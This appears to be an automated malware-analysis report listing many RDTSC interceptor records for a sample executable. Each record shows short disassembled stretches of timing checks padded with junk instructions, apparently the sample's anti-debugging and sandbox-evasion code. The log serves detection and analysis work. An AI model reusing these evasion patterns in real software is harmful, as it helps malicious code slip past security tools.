Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8C32E second address: A8C333 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D0A6 second address: A8D0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D0AA second address: A8D0E1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F588123DB86h 0x00000008 jmp 00007F588123DB8Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F588123DB8Eh 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F588123DB8Dh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D0E1 second address: A8D10A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F588136DCBDh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F588136DCC0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D10A second address: A8D10E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D10E second address: A8D118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D118 second address: A8D133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB97h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D133 second address: A8D144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D42C second address: A8D430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8D6E4 second address: A8D6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A90ADE second address: A90AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A90AE2 second address: A90B05 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a jmp 00007F588136DCC5h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A90D90 second address: A90D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F588123DB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A90D9A second address: A90DB2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F588136DCB6h 0x00000008 jnp 00007F588136DCB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007F588136DCB8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A90F00 second address: A90F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB96h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A91456 second address: A9145C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A96092 second address: A960A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A960A7 second address: A960AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A960AB second address: A960B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A960B1 second address: A960BB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F588136DCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9DD32 second address: A9DD4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F588123DB93h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9BE59 second address: A9BE6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F588136DCBAh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9BE6D second address: A9BE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9BE71 second address: A9BE80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F588136DCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C046 second address: A9C04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C37D second address: A9C383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C383 second address: A9C3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F588123DB97h 0x0000000a pop edx 0x0000000b jng 00007F588123DB98h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C3AC second address: A9C3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C695 second address: A9C69F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F588123DB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9C7C1 second address: A9C7C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9DB28 second address: A9DB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9DB2C second address: A9DB5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F588136DCC3h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F588136DCBFh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9DB5D second address: A9DB67 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9DB67 second address: A9DB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A9B9B0 second address: A9B9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F588123DB8Ah 0x0000000b pop edi 0x0000000c pushad 0x0000000d jng 00007F588123DB86h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AA5126 second address: AA512C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AA4BB6 second address: AA4BC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AA73F7 second address: AA73FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AA73FB second address: AA7401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB40A5 second address: AB40BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588136DCC2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB40BC second address: AB40D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F588123DB92h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB3A82 second address: AB3A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB3A8A second address: AB3A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB6051 second address: AB606D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588136DCC7h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB5BD3 second address: AB5BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F588123DB86h 0x0000000a jmp 00007F588123DB93h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB5BF0 second address: AB5BF6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AB5BF6 second address: AB5BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ABCB5B second address: ABCB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AC951D second address: AC9527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F588123DB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AC9527 second address: AC9537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AC9537 second address: AC9546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F588123DB86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACE805 second address: ACE84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F588136DCC3h 0x0000000a jp 00007F588136DCD1h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACE84C second address: ACE860 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007F588123DB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F588123DB86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACEAD4 second address: ACEAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edi 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACEAE3 second address: ACEAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F588123DB86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACEF9F second address: ACEFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACEFA3 second address: ACEFAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: ACFA5C second address: ACFA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AE31E7 second address: AE31ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AE4BA2 second address: AE4BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AE4BA8 second address: AE4BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AE4BB4 second address: AE4BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AF1293 second address: AF12DC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F588123DB86h 0x00000008 jl 00007F588123DB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F588123DB98h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F588123DB98h 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AF0E53 second address: AF0E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AF0E57 second address: AF0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: AF0E69 second address: AF0E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F588136DCC1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B06F9D second address: B06FBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F588123DB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F588123DB8Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jo 00007F588123DB86h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B06100 second address: B06104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B06104 second address: B06108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B064A9 second address: B064AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B064AF second address: B064B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B06CCF second address: B06CF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F588136DCBBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B06CF1 second address: B06CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0B0EC second address: B0B106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0B106 second address: B0B10B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0B3D3 second address: B0B418 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f jmp 00007F588136DCC4h 0x00000014 popad 0x00000015 nop 0x00000016 mov edx, dword ptr [ebp+122D3B06h] 0x0000001c push 00000004h 0x0000001e mov edx, 47532C06h 0x00000023 call 00007F588136DCB9h 0x00000028 je 00007F588136DCC8h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0B418 second address: B0B41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0B41C second address: B0B420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0CBF0 second address: B0CBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0CBF4 second address: B0CBF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0CBF8 second address: B0CBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0EADB second address: B0EAF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F588136DCBCh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: B0EAF7 second address: B0EB1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F588123DB8Eh 0x00000010 jnp 00007F588123DB86h 0x00000016 push eax 0x00000017 pop eax 0x00000018 js 00007F588123DB8Ch 0x0000001e ja 00007F588123DB86h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2CEB5 second address: A2CEC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2CEC8 second address: A2CED2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F588123DB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0420 second address: 49F0426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0426 second address: 49F0441 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F588123DB8Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0441 second address: 49F0447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0447 second address: 49F0499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 mov si, 025Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop edx 0x00000013 pushfd 0x00000014 jmp 00007F588123DB8Ah 0x00000019 adc ecx, 2A6C5EC8h 0x0000001f jmp 00007F588123DB8Bh 0x00000024 popfd 0x00000025 popad 0x00000026 jmp 00007F588123DB98h 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0499 second address: 49F049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F049D second address: 49F04A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F04A1 second address: 49F04A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F04A7 second address: 49F04CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F588123DB96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 49F0529 second address: 49F052D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A1074F second address: 4A10755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
